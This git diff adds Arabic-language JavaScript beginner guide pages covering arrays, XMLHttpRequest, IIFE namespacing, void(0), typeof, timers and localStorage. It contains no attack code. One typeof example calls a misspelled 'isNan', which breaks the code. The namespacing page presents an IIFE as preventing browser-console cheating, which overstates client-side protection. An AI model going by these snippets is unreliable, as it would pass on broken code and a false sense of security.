+++ b/client/src/guide/arabic/javascript/tutorials/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
@@ -0,0 +1,12 @@
+---
+title: Store Multiple Values in One Variable Using JavaScript Arrays
+localeTitle: تخزين قيم متعددة في متغير واحد باستخدام صفائف JavaScript
+---
+باستخدام متغيرات مجموعة جافا سكريبت ، يمكننا تخزين عدة أجزاء من البيانات في مكان واحد.
+
+يمكنك بدء تعريف مصفوفة مع قوس فتح ، ووضع حد لها مع قوس إغلاق ، ووضع فاصلة بين كل إدخال ، مثل:
+
+ `var sandwich = ["peanut butter", "jelly", "bread"] 
+` 
+
+`myArray = [2,'j'];`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/subtract-one-number-from-another-with-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/subtract-one-number-from-another-with-javascript/index.md
new file mode 100644
index 0000000000..04180d1e3b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/subtract-one-number-from-another-with-javascript/index.md
@@ -0,0 +1,10 @@
+---
+title: Subtract One Number from Another with JavaScript
+localeTitle: اطرح رقم واحد من آخر باستخدام JavaScript
+---
+يمكننا أيضًا طرح رقم واحد من آخر.
+
+تستخدم جافا سكريبت - رمز الطرح.
+
+ `var difference = 45 - 33; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/the-javascript-version-of-jquerygetjson/index.md b/client/src/guide/arabic/javascript/tutorials/the-javascript-version-of-jquerygetjson/index.md
new file mode 100644
index 0000000000..85f709682e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/the-javascript-version-of-jquerygetjson/index.md
@@ -0,0 +1,69 @@
+---
+title: JavaScript Version of Jquerygetjson
+localeTitle: جافا سكريبت نسخة من Jquerygetjson
+---
+إذا كنت تريد العمل مع ملفات json باستخدام JavaScript فقط.
+
+## IE8 +
+
+ `var request = new XMLHttpRequest(); 
+ request.open('GET', '/my/url', true); 
+ 
+ request.onreadystatechange = function() { 
+  if (this.readyState === 4) { 
+    if (this.status >= 200 && this.status < 400) { 
+      // Success! 
+      var data = JSON.parse(this.responseText); 
+    } else { 
+      // Error :( 
+    } 
+  } 
+ }; 
+ 
+ request.send(); 
+ request = null; 
+` 
+
+## IE9 +
+
+ `var request = new XMLHttpRequest(); 
+ request.open('GET', '/my/url', true); 
+ 
+ request.onload = function() { 
+  if (request.status >= 200 && request.status < 400) { 
+    // Success! 
+    var data = JSON.parse(request.responseText); 
+  } else { 
+    // We reached our target server, but it returned an error 
+ 
+  } 
+ }; 
+ 
+ request.onerror = function() { 
+  // There was a connection error of some sort 
+ }; 
+ 
+ request.send(); 
+` 
+
+## IE10 +
+
+ `var request = new XMLHttpRequest(); 
+ request.open('GET', '/my/url', true); 
+ 
+ request.onload = function() { 
+  if (this.status >= 200 && this.status < 400) { 
+    // Success! 
+    var data = JSON.parse(this.response); 
+  } else { 
+    // We reached our target server, but it returned an error 
+ 
+  } 
+ }; 
+ 
+ request.onerror = function() { 
+  // There was a connection error of some sort 
+ }; 
+ 
+ request.send(); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/use-the-javascript-console/index.md b/client/src/guide/arabic/javascript/tutorials/use-the-javascript-console/index.md
new file mode 100644
index 0000000000..296ef40fb5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/use-the-javascript-console/index.md
@@ -0,0 +1,19 @@
+---
+title: Use the JavaScript Console
+localeTitle: استخدم وحدة تحكم JavaScript
+---
+يحتوي كل من Chrome و Firefox على وحدات تحكم جافا سكريبت ممتازة ، تُعرف أيضًا باسم DevTools ، لتصحيح أخطاء جافا سكريبت.
+
+يمكنك العثور على أدوات مطوري البرامج في قائمة Chrome أو وحدة تحكم الويب في قائمة FireFox. إذا كنت تستخدم متصفحًا مختلفًا أو هاتفًا جوالًا ، فنحن نوصي بشدة بالتبديل إلى مكتبي Firefox أو Chrome.
+
+يمكنك أيضًا استخدام [https://repl.it/](https://repl.it/) لتشغيل التعليمات البرمجية عبر الإنترنت.
+
+هذه هي طريقة الطباعة إلى وحدة التحكم:
+
+ `console.log('Hello world!') 
+` 
+
+كما يمكنك طباعة سجل خطأ في وحدة التحكم باستخدام هذا الرمز:
+
+ `console.error('I am an error!') 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/using-anonymous-functions-for-private-namespacing-in-your-javascript-apps/index.md b/client/src/guide/arabic/javascript/tutorials/using-anonymous-functions-for-private-namespacing-in-your-javascript-apps/index.md
new file mode 100644
index 0000000000..61b4765638
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/using-anonymous-functions-for-private-namespacing-in-your-javascript-apps/index.md
@@ -0,0 +1,80 @@
+---
+title: Using Anonymous Functions for Private Namespacing in Your JavaScript Apps
+localeTitle: استخدام وظائف مجهول ل Namespacing الخاصة في تطبيقات جافا سكريبت
+---
+دعونا نلقي نظرة على ما هي مساحة الاسم عندما يتعلق الأمر ببناء تطبيقات JavaScript وبعض الفوائد من استخدام مساحة اسم خاصة عند بناء تطبيقاتك.
+
+**الرجاء ملاحظة تشير هذه المقالة دالات self-executing مجهول. إذا لم تكن على دراية بما هو موجود ، فالرجاء قراءة هذا المقال الممتاز من تأليف نوح ستوكس: [تنفيذ المهام المجهولة ذاتيا أو كيفية كتابة جافا سكريبت نظيفة](http://esbueno.noahstokes.com/post/77292606977/self-executing-anonymous-functions-or-how-to-write) . هذه المادة سوف تذهب في التفاصيل حول وظائف ذاتية المجهول.**
+
+## ما هو مساحة الاسم؟
+
+وبعبارة بسيطة ، تعد مساحة الاسم مجرد جزء من الكود يحتوي على مساحة خاصة به. عندما تبدأ في كتابة تطبيقات JS لأول مرة ، فإنك تقوم فقط بكتابة التعليمة البرمجية وتشغيلها. هذا يضع جميع التعليمات البرمجية في ما يعرف باسم **مساحة الاسم العام** ، والتي تحتوي على جميع التعليمات البرمجية للنوافذ التي تعمل فيها.
+
+إذا احتفظت بكافة التعليمات البرمجية الخاصة بك في **مساحة الاسم العامة** ، فيمكنك تشغيل مشاكل في حالات الاصطدام ، أو تسمية اصطلاحات ، إلخ ، خاصة في تطبيقات / ألعاب JS الكبيرة.
+
+دعونا نلقي نظرة على مثال على كيفية استخدام **مساحة الاسم العالمية** لتطوير اللعبة هي فكرة سيئة.
+
+لنفترض أن لدينا لعبة تتعقب النقاط التي يملكها اللاعب:
+
+ `var points = 0; 
+` 
+
+وهناك الكثير من الألعاب تتبع النقاط لإضافة ميزة تنافسية للعبة. ببساطة عن طريق كتابة هذا السطر في برنامج نصي ، قمنا بإنشاء _نقاط_ مسمى متغيرة يمكنها تتبع النقاط التي اكتسبها المستخدم.
+
+وهذا كل شيء على ما يرام ، ولكن دعنا نقول أن لدينا مستخدم أكثر تطوراً يلعب اللعبة. يعرف هذا المستخدم كيفية النظر إلى مصدر صفحة الويب ، وبالتالي يأخذ هذا الشخص نظرة خاطفة على المصدر وراء لعبة JS ويدرك أن متغير _النقاط_ موجود فقط في **مساحة الاسم العامة** . تنكمش الشمات الشريرة على وجوههم وهم يتأملون النقاط التي يمكنهم تحقيقها! يقررون أنهم لا يرغبون في الانتظار للفوز على بعض الأشرار ، أو تحطيم بعض الفطر ، أو ما لديك ، لجمع بعض النقاط. انهم يريدون نقاطهم الآن! حسنًا ، كيف يبدو _مليارًا مليار مليار_ ؟ لذلك ، يقومون بتحميل وحدة التحكم على المتصفح المفضل لديهم ، ويكتبون ببساطة في وحدة التحكم:
+
+ `points = 34750925489459203859095480917458059034; 
+` 
+
+بمجرد دخول المستخدم ، يتم تحديث متغير _النقاط_ في اللعبة. الآن ، لدى المستخدم كمية كبيرة من النقاط في اللعبة ، ومن المحتمل أنها غير واقعية ، ويمكنه أن يتباهى بأصدقائه بأنه لا يمكن لأحد أن يفوز على مجموعته الرائعة.
+
+لذا ، كيف نمنع حدوث ذلك؟ هذا هو المكان الذي توجد به **مساحات الأسماء الخاصة** .
+
+## مساحات الأسماء الخاصة
+
+تسمح **مساحات الأسماء الخاصة** للمطورين بوضع التعليمات البرمجية الخاصة بهم في أقسام (أو **مساحات الأسماء** ). تعمل هذه الأقسام بشكل مستقل عن بعضها البعض ولكن لا يزال بإمكانها القراءة والكتابة من **مساحة الاسم العامة** .
+
+لكسر هذا الأمر بعبارات أبسط من سيناريو واقعي ، لنفترض أنك تعمل في مبنى مكتبي. لديك مكتب خاص بك ، وترى الآخرين مع مكاتبهم الخاصة. يتم إغلاق كل مكتب ، ولا يملك سوى الشخص الذي يملك المكتب مفتاحًا لهذا المكتب. لنفترض أيضًا أن لديك نوعًا من القفل الفائق الجديد الذي يجعل مكتبك غير قابل للاختراق من قِبل أي شخص آخر في المبنى. لنأخذ بعين الاعتبار مبنى المكتب نفسه **كمساحة اسمية عالمية** وكل مكتب **كمساحة خاصة** . ليس لديك حق الوصول إلى مكتب أي شخص آخر ولا يستطيعون الوصول إلى مكتبك. ولكن ، كل واحد منكم لديه إمكانية الوصول إلى بقية مبنى المكاتب ، سواء كان ذلك في الحصول على القهوة ، أو تناول وجبة خفيفة ، وما إلى ذلك. يستطيع كل واحد منكم انتزاع شيء من **مساحة الاسم العالمية** (أو إنشاء / تعديل شيء ما هناك) ، ولكن يمكنك إنشاء / تعديل / الاستيلاء على أي شيء من مكاتب بعضها البعض ؛ يمكنك فقط إنشاء / تعديل / انتزاع من **مساحة الاسم** / المكتب الخاص بك.
+
+## تحقيق مساحة الاسم الخاصة
+
+إذن ، كيف نحقق **مساحة الاسم الخاصة** هذه في JavaScript؟ استخدام وظيفة ذاتية المجهول! إذا لم تقرأ المقالة من قبل نوح ستوكس ، [أو المهام المجهولة ذاتياً](http://esbueno.noahstokes.com/post/77292606977/self-executing-anonymous-functions-or-how-to-write) التي تنفذ من تلقاء [نفسه أو كيف تكتب جافاسكريبت نظيفة](http://esbueno.noahstokes.com/post/77292606977/self-executing-anonymous-functions-or-how-to-write) ، فالرجاء القيام بذلك الآن. هذه المادة سوف تذهب في التفاصيل حول وظائف ذاتية المجهول.
+
+لنلقِ نظرة على استخدام متغير _النقاط_ هذا من قبل ، ولكن دعنا نفصله إلى **مساحة اسمية خاصة** :
+
+ `//The most common way you'll see an anonymous self-executing function 
+ (function () { 
+    var points = 0; 
+ })(); 
+ 
+ //This is just one of many more alternative ways to use an anonymous self-executing function 
+ /* 
+ !function () { 
+    var points = 0; 
+ }(); 
+ */ 
+` 
+
+الآن ، عندما يصل المستخدم إلى الصفحة ، لن يتمكن من فتح وحدة التحكم في المتصفح وتغيير قيمة متغير النقاط كما يحلو لهم! رائع!
+
+## مساحة الاسم وتفاعل المستند
+
+لم يكن التعليمة البرمجية المذكورة أعلاه سوى استخدام واحد لاستخدام وظيفة تنفيذ ذاتي مجهول لإعطاء رمز **مساحة الاسم** الخاصة به. ضع في اعتبارك أن مساحات الأسماء تؤثر فقط على شفرة JS (المتغيرات / المصفوفات / الكائنات / الخ.) ، وليس الكود الذي يتعلق بالوثيقة نفسها.
+
+لا يزال أي رمز داخل مساحة الاسم له نفس الوصول إلى مستند HTML ، و CSS ، كما تفعل عادة في **مساحة الاسم العامة** . إلقاء نظرة على نماذج التعليمات البرمجية جهازي التالية. كلاهما يؤديان نفس الوظيفة ، وليس أي منهما أكثر فائدة ، أو أكثر كفاءة ، من الآخر.
+
+ `<script type="text/javascript"> 
+    (function () { 
+        document.querySelector('body').style.background = 'blue'; 
+    })(); 
+ </script> 
+` 
+
+بالضبط مثل:
+
+ `<script type="text/javascript"> 
+    document.querySelector('body').style.background = 'blue'; 
+ </script> 
+` 
+
+ضع في اعتبارك أن هذه طريقة واحدة فقط لاستخدام مساحات الأسماء في تطبيقات JavaScript. تكييف الكود الخاص بك إلى ما يناسب الوضع في متناول اليد.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/what-does-javascript-void-0-mean/index.md b/client/src/guide/arabic/javascript/tutorials/what-does-javascript-void-0-mean/index.md
new file mode 100644
index 0000000000..f087384151
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/what-does-javascript-void-0-mean/index.md
@@ -0,0 +1,86 @@
+---
+title: What Does JavaScript Void 0 Mean
+localeTitle: ماذا يفعل جافا سكريبت Void 0 Mean
+---
+## ماذا يفعل جافا سكريبت Void 0 Mean
+
+**يقوم عامل تشغيل void في JavaScript بتقييم تعبير وإرجاع غير محدد** .
+
+استخدام وحدة التحكم للتحقق من نفسه: -
+
+![ConsoleOutput](https://github.com/srawat19/-Guide_Images/blob/master/VoidConsole.PNG?raw=true)
+
+**_ملاحظة:_** - **الفراغ** بغض النظر عن أي قيمة تم تمريرها على طول، _ويعود دائما **غير معروف** كما هو مبين أعلاه._ لكن ، **الفراغ مع المعامل 0 المفضل** .
+
+**طريقتان لاستخدام المعامل 0 -> void (0) أو void 0.** كلاهما على ما يرام.
+
+#### متى تستخدم جافا سكريبت باطلة (0)؟
+
+عند النقر فوق الارتباط ، لا تريد أن يقوم المتصفح بتحميل صفحة جديدة أو تحديث الصفحة نفسها (حسب عنوان URL المحدد). بدلاً من ذلك ، قم بإرفاق جافا سكريبت بالرابط.
+
+#### مثال 1 نموذج مع void Javascript (0):
+
+ `
+<html> 
+ <body> 
+ <a href="javascript:void(0);alert('Hello ! I am here')">Click Me</a> 
+ </body> 
+ </html> 
+` 
+
+#### انتاج :
+
+عند النقر فوق ارتباط ClickMe ، يظهر تنبيه على النحو التالي:
+
+![Output1](https://github.com/srawat19/-Guide_Images/blob/master/voidOutput1.PNG?raw=true)
+
+#### مثال 2 نموذج مع void Javascript (0):
+
+ `
+<html> 
+ <body> 
+ <a href="javascript:void(0)" ondblclick="alert('Hi,i didnt refresh the page')" )>Click Me</a> 
+ </body> 
+ </html> 
+` 
+
+#### انتاج :
+
+عندما تنقر نقرًا مزدوجًا على الرابط ، سينبثق تنبيه دون أي تحديث للصفحة.
+
+#### مثال 3 نموذج مع void Javascript (0):
+
+ `
+<html> 
+ <body> 
+ <a href="javascript:void(0);https://www.google.co.in/" 
+ ondblclick="alert('Hello !! You will see me and not get redirected to google.com ')">Click Me</a> 
+ </body> 
+ </html> 
+` 
+
+#### انتاج :
+
+عندما تنقر نقرًا مزدوجًا على الرابط ، سينبثق تنبيه ، ولن يؤدي إغلاقه أيضًا إلى إعادة التوجيه إلى google.com.
+
+#### مثال نموذج دون void Javascript (0):
+
+ `
+<html> 
+ <body> 
+ <a href="https://www.google.co.in/" ondblclick="alert('Hello !! You will see me and then get redirected to google.com even if not needed')">Click Me</a> 
+ </body> 
+ </html> 
+` 
+
+#### انتاج :
+
+عندما تنقر نقرًا مزدوجًا على الرابط ، سينبثق تنبيه ، وسيؤدي غلقه إلى إعادة التوجيه إلى google.com.
+
+#### استنتاج :
+
+عامل **الفراغ** مفيد عندما تحتاج إلى منع أي تحديث أو إعادة توجيه غير مرغوب فيه للصفحة. بدلاً من ذلك ، قم بتنفيذ بعض عملية javascript.
+
+#### معلومات اكثر:
+
+1) [مستندات Mozilla](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/void) 2) [فهم الفراغ 0](https://www.quackit.com/javascript/tutorial/javascript_void_0.cfm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/write-reusable-javascript-with-functions/index.md b/client/src/guide/arabic/javascript/tutorials/write-reusable-javascript-with-functions/index.md
new file mode 100644
index 0000000000..861778a3ec
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/write-reusable-javascript-with-functions/index.md
@@ -0,0 +1,33 @@
+---
+title: Write Reusable JavaScript with Functions
+localeTitle: اكتب Reusable JavaScript مع الوظائف
+---
+في JavaScript ، يمكننا تقسيم الشفرة إلى أجزاء قابلة لإعادة الاستخدام تسمى الوظائف.
+
+فيما يلي مثال على وظيفة:
+
+ `function functionName() { 
+  console.log("Hello World"); 
+ } 
+` 
+
+يمكنك `call` أو `invoke` هذه الدالة باستخدام اسمها متبوعًا بأقواس ، مثل:
+
+ `functionName(); 
+` 
+
+في كل مرة يتم استدعاء الدالة فإنه سيتم طباعة الرسالة "Hello World" على وحدة تحكم dev. سيتم تنفيذ جميع التعليمات البرمجية بين الأقواس المتعرجة في كل مرة يتم استدعاء الدالة.
+
+هنا مثال آخر:
+
+ `function otherFunctionName (a, b) { 
+    return(a + b); 
+ } 
+` 
+
+يمكننا `call` أو `invoke` مثل هذا:
+
+ `otherFunctionName(1,2); 
+` 
+
+وسوف يتم تشغيلها وإرجاع قيمتها المرتجعة لنا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/typeof/index.md b/client/src/guide/arabic/javascript/typeof/index.md
new file mode 100644
index 0000000000..9181db9dc3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/typeof/index.md
@@ -0,0 +1,87 @@
+---
+title: Typeof
+localeTitle: نوع من
+---
+## نوع من
+
+`typeof` هي الكلمة الأساسية JavaScript التي ستقوم بإرجاع نوع متغير عند الاتصال به. يمكنك استخدام هذا للتحقق من صحة معلمات الدالة أو التحقق مما إذا تم تعريف المتغيرات. هناك استخدامات أخرى كذلك.
+
+يعد عامل التشغيل `typeof` مفيدًا لأنه يعد طريقة سهلة للتحقق من نوع متغير في التعليمات البرمجية. هذا مهم لأن JavaScript هي [لغة مكتوبة ديناميكيًا](https://stackoverflow.com/questions/2690544/what-is-the-difference-between-a-strongly-typed-language-and-a-statically-typed) . هذا يعني أنك غير مطالب بتعيين أنواع للمتغيرات عند إنشائها. نظرًا لأن المتغير ليس مقيدًا بهذه الطريقة ، يمكن أن يتغير نوعه أثناء وقت تشغيل البرنامج.
+
+فمثلا:
+
+ `var x = 12345; // number 
+ x = 'string'; // string 
+ x = { key: 'value' }; // object 
+` 
+
+كما ترى من المثال أعلاه ، يمكن للمتغير في JavaScript تغيير الأنواع خلال تنفيذ البرنامج. يمكن أن يكون من الصعب تعقب كمبرمج ، وهذا هو المكان الذي يكون فيه عامل التشغيل `typeof` مفيدًا.
+
+عامل التشغيل `typeof` بإرجاع سلسلة تمثل النوع الحالي للمتغير. يمكنك استخدامه عن طريق كتابة `typeof(variable)` أو `typeof variable` . بالعودة إلى المثال السابق ، يمكنك استخدامه للتحقق من نوع المتغير `x` في كل مرحلة:
+
+ `var x = 12345; 
+ console.log(typeof x) // number 
+ x = 'string'; 
+ console.log(typeof x) // string 
+ x = { key: 'value' }; 
+ console.log(typeof x) // object 
+` 
+
+هذا يمكن أن يكون مفيدا للتحقق من نوع متغير في وظيفة والاستمرار حسب الاقتضاء.
+
+في ما يلي مثال لدالة يمكن أن تأخذ متغيرًا هو سلسلة أو رقم:
+
+ `function doSomething(x) { 
+  if(typeof(x) === 'string') { 
+    alert('x is a string') 
+  } else if(typeof(x) === 'number') { 
+    alert('x is a number') 
+  } 
+ } 
+` 
+
+طريقة أخرى لمشغل `typeof` يمكن أن تكون مفيدة عن طريق التأكد من تحديد متغير قبل محاولة الوصول إليه في التعليمات البرمجية. يمكن أن يساعد هذا في منع الأخطاء في أحد البرامج التي قد تحدث في حالة محاولة الوصول إلى متغير لم يتم تعريفه.
+
+ `function(x){ 
+  if (typeof(x) === 'undefined') { 
+    console.log('variable x is not defined'); 
+    return; 
+  } 
+  // continue with function here... 
+ } 
+` 
+
+قد لا يكون ناتج عامل التشغيل `typeof` دائمًا ما تتوقعه عند التحقق من وجود رقم.  
+يمكن أن تتحول الأرقام إلى قيمة [NaN (ليس رقم)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN) لأسباب متعددة.
+
+ `console.log(typeof NaN); //"number" 
+` 
+
+ربما حاولت ضرب رقم مع كائن لأنك نسيت الوصول إلى الرقم داخل الكائن.
+
+ `var x = 1; 
+ var y = { number: 2 }; 
+ console.log(x * y); // NaN 
+ console.log(typeof (x * y)); // number 
+` 
+
+عند التحقق من وجود رقم ، لا يكفي التحقق من إخراج `typeof` لرقم ، لأن `NaN` أيضًا  
+يمر هذا الاختبار.  
+تحقق هذه الوظيفة من الأرقام ، ولا تسمح أيضًا لقيمة `NaN` بالمرور.
+
+ `function isNumber(data) { 
+  return (typeof data === 'number' && !isNan(data)); 
+ } 
+` 
+
+حتى ظننا أن هذه طريقة تحقق مفيدة ، يجب أن نكون حذرين لأن javascript يحتوي على بعض الأجزاء الغريبة وأحدها هو نتيجة `typeof` على تعليمات معينة. على سبيل المثال ، في javascript ، هناك الكثير من الأشياء `objects` يمكنك العثور عليها فقط.
+
+ `var x = [1,2,3,4]; 
+ console.log(typeof x)  // object 
+ 
+ console.log(typeof null)  // object 
+` 
+
+### معلومات اكثر:
+
+[وثائق MDN لنوع](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/undefined-primitive-values/index.md b/client/src/guide/arabic/javascript/undefined-primitive-values/index.md
new file mode 100644
index 0000000000..a3bea6ead3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/undefined-primitive-values/index.md
@@ -0,0 +1,7 @@
+---
+title: Undefined Primitive Value
+localeTitle: قيمة بدائية غير محددة
+---
+قيمة أولية يتم تعيينها تلقائيًا للمتغيرات التي تم الإعلان عنها للتو أو إلى الوسيطات الرسمية التي لا توجد بها وسائط فعلية.
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/where-to/index.md b/client/src/guide/arabic/javascript/where-to/index.md
new file mode 100644
index 0000000000..c26f2f78ce
--- /dev/null
+++ b/client/src/guide/arabic/javascript/where-to/index.md
@@ -0,0 +1,97 @@
+---
+title: Where to
+localeTitle: ألى أين
+---
+## ألى أين
+
+JavaScript هي لغة برمجة HTML والويب. في HTML ، يجب إدراج JavaScript في علامة حاوية `<script>` .
+
+### مثال
+
+ `
+<script> 
+  window.alert("This JavaScript Works!"); 
+ </script> 
+` 
+
+تذكر أيضًا أنه يمكنك وضع أي عدد من علامات `<script>` في مستند HTML.
+
+### أين تذهب العلامة `<script>` ؟
+
+يمكن وضع علامة `<script>` في `<head>` أو `<body>` .
+
+### JavaScript في `<head>`
+
+في هذا المثال ، يتم وضع JavaScript في قسم `<head>` من المستند. يتم إنشاء وظيفة **onClicked** ، والتي تسمى عند الضغط على زر.
+
+ `
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <script> 
+ function onClicked() { 
+    window.alert("Hi, there!"); 
+ } 
+ </script> 
+ </head> 
+ 
+ <body> 
+ 
+ <h1>JavaScript Testing</h1> 
+ <button type="button" onclick="onClicked()">Try it</button> 
+ 
+ </body> 
+ </html> 
+` 
+
+### JavaScript في `<body>`
+
+هنا ، يتم وضع جافا سكريبت في . يتم إنشاء الدالة **onClicked** ويتم **تعيينها ليتم تشغيلها** عند النقر فوق الزر.
+
+ `
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <h1>JavaScript Testing</h1> 
+ <button type="button" id="buttonClicked">Try it</button> 
+ 
+ <script> 
+ document.getElementById("buttonClicked").onclick = onClicked; 
+ 
+ function onClicked() { 
+    window.alert("Hi, there!"); 
+ } 
+ </script> 
+ 
+ </body> 
+ </html> 
+` 
+
+### البرامج النصية الخارجية
+
+يمكن وضع البرامج النصية أيضًا في ملفات خارجية. دعونا إنشاء ملف **script.js** .
+
+##### script.js
+
+ `window.alert("Hi!"); 
+` 
+
+يمكن تضمين هذا البرنامج النصي في مستند HTML على النحو التالي:
+
+ `
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <script src="script.js"></script> 
+ 
+ </body> 
+ </html> 
+` 
+
+_مرحبا!_ سيظل يتم تنبيهك عند عرض الصفحة. تذكر أنك لست بحاجة إلى تضمين علامات `<script>` في ملفات JavaScript (الملفات التي تحتوي على الامتداد **.js** ).
+
+#### معلومات اكثر:
+
+ياهو توصي بوضع مخطوطات في القاع. هذا موضح [هنا](https://developer.yahoo.com/performance/rules.html#js_bottom) ، مع سبب هذه التوصية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/window-clearinterval-method/index.md b/client/src/guide/arabic/javascript/window-clearinterval-method/index.md
new file mode 100644
index 0000000000..eb52568e1b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/window-clearinterval-method/index.md
@@ -0,0 +1,21 @@
+---
+title: Window clearInterval Method
+localeTitle: نافذة clearInterval الطريقة
+---
+## نافذة clearInterval الطريقة
+
+يتم استخدام أسلوب "clearInterval ()" لمسح جهاز ضبط وقت باستخدام "setInterval ()".
+
+ `    clearInterval(setInteval_ID); 
+` 
+
+لتتمكن من استخدام أسلوب "clearInterval ()" ، يجب استخدام متغير عام.
+
+ `    myID = setInterval(function, milliseconds); 
+` 
+
+#### معلومات اكثر:
+
+الوثائق: [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval)
+
+بعض الأمثلة أكثر على [w3schools](https://www.w3schools.com/jsref/met_win_clearinterval.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/window-cleartimeout-method/index.md b/client/src/guide/arabic/javascript/window-cleartimeout-method/index.md
new file mode 100644
index 0000000000..e296227d9f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/window-cleartimeout-method/index.md
@@ -0,0 +1,21 @@
+---
+title: Window clearTimeout Method
+localeTitle: نافذة clearTimeout الطريقة
+---
+## نافذة clearTimeout الطريقة
+
+يتم استخدام أسلوب "clearTimeout ()" لإيقاف ضبط المؤقت باستخدام "setTimeout ()".
+
+ `    clearTimeout(setTimeout_ID); 
+` 
+
+إذا تم استدعاء الأسلوب "clearTimeout () قبل انتهاء المؤقت ، فسيتم إيقاف الأسلوب" clearTimeout () '' في الأسلوب 'setTimeout ()' من التنفيذ.
+
+لتتمكن من استخدام أسلوب "clearTimeout ()" ، يجب استخدام متغير عام. انظر المثال أدناه
+
+ `    myID = setTimeout(function, milliseconds); 
+` 
+
+#### معلومات اكثر:
+
+الوثائق: [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/window-confirm-method/index.md b/client/src/guide/arabic/javascript/window-confirm-method/index.md
new file mode 100644
index 0000000000..80ea31798f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/window-confirm-method/index.md
@@ -0,0 +1,20 @@
+---
+title: Window Confirm Method
+localeTitle: نافذة تأكيد طريقة
+---
+## نافذة تأكيد طريقة
+
+يمكنك استخدام طريقة `confirm` لمطالبة المستخدم بمضاعفة القرار على صفحة الويب. عند استدعاء هذه الطريقة ، سيعرض المستعرض مربع حوار مع خيارين على طول سطور "موافق" و "إلغاء".
+
+على سبيل المثال ، لنفترض أن شخصًا ما قد نقر على الزر "حذف". يمكنك تشغيل التعليمة البرمجية التالية:
+
+ `if (window.confirm("Are you sure you want to delete this item?")) { 
+  // Delete the item 
+ } 
+` 
+
+الرسالة "هل أنت متأكد من أنك تريد حذف هذا العنصر؟" سوف تظهر في مربع الحوار. إذا قام المستخدم بالنقر فوق "موافق" ، ستعود طريقة التأكيد `true` وسيقوم المستعرض بتشغيل التعليمة البرمجية داخل بيان if. إذا نقر على "إلغاء" ، فستظهر هذه الطريقة `false` ولن يحدث أي شيء آخر. يوفر هذا بعض الحماية ضد شخص ما النقر فوق حذف بطريق الخطأ.
+
+#### معلومات اكثر:
+
+[MDN Docs](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/window-localstorage/index.md b/client/src/guide/arabic/javascript/window-localstorage/index.md
new file mode 100644
index 0000000000..338a619889
--- /dev/null
+++ b/client/src/guide/arabic/javascript/window-localstorage/index.md
@@ -0,0 +1,53 @@
+---
+title: Window.localStorage
+localeTitle: Window.localStorage
+---
+## window.localStorage
+
+يوفر `localStorage` طريقة لتطبيقات الويب الخاصة بك لتخزين البيانات محليًا داخل متصفح المستخدم.
+
+قبل HTML5 ، يجب تخزين بيانات التطبيق في ملفات تعريف الارتباط. يتم تضمين ملفات تعريف الارتباط مع كل طلب HTTP ، مما يؤدي إلى إبطاء تطبيق الويب الخاص بك عن طريق نقل نفس البيانات. تقتصر ملفات تعريف الارتباط أيضًا على حوالي 4 كيلوبايت من البيانات والتي قد لا تكون كافية لتخزين البيانات المطلوبة.
+
+حد `localStorage` هو أكبر من ملفات تعريف الارتباط مع ما يصل إلى 10 ميغابايت من البيانات لكل مجال ولا يتم نقل المعلومات إلى الخادم مطلقًا.
+
+### أنواع التخزين المحلي
+
+هناك نوعان رئيسيان من أنواع تخزين الويب:
+
+*   التخزين المحلي: يقوم هذا بتخزين البيانات بدون تاريخ انتهاء صلاحية. ستستمر البيانات في `localStorage` حتى عند إغلاق متصفح المستخدم وإعادة فتحه.
+*   تخزين الجلسة: يشبه التخزين `localStorage` ، باستثناء أنه يخزن البيانات لجلسة واحدة فقط. بمجرد إغلاق المتصفح للمستخدم ، سيتم فقد هذه الجلسة وسيتم حذف البيانات الدائمة من المتصفح.
+
+### HTML5 طرق التخزين المحلية
+
+`localStorage` تأتي مع بعض طرق JavaScript المختلفة التي تجعل من السهل العمل معها ، دعنا ننظر إلى بعض:
+
+_ملاحظة: تنطبق هذه الطرق على كل من أنواع تخزين الويب (التخزين المحلي وتخزين الجلسة)_
+
+لتعيين البيانات ، نحتاج إلى إجراء ما يلي:
+
+ `localStorage.setItem('Name', 'somevalue'); 
+` 
+
+لاسترداد بعض البيانات من التخزين:
+
+ `localStorage.getItem('Name'); 
+` 
+
+لإزالة أو حذف بعض البيانات ، يمكننا القيام بذلك:
+
+ `localStorage.removeItem('Name'); 
+` 
+
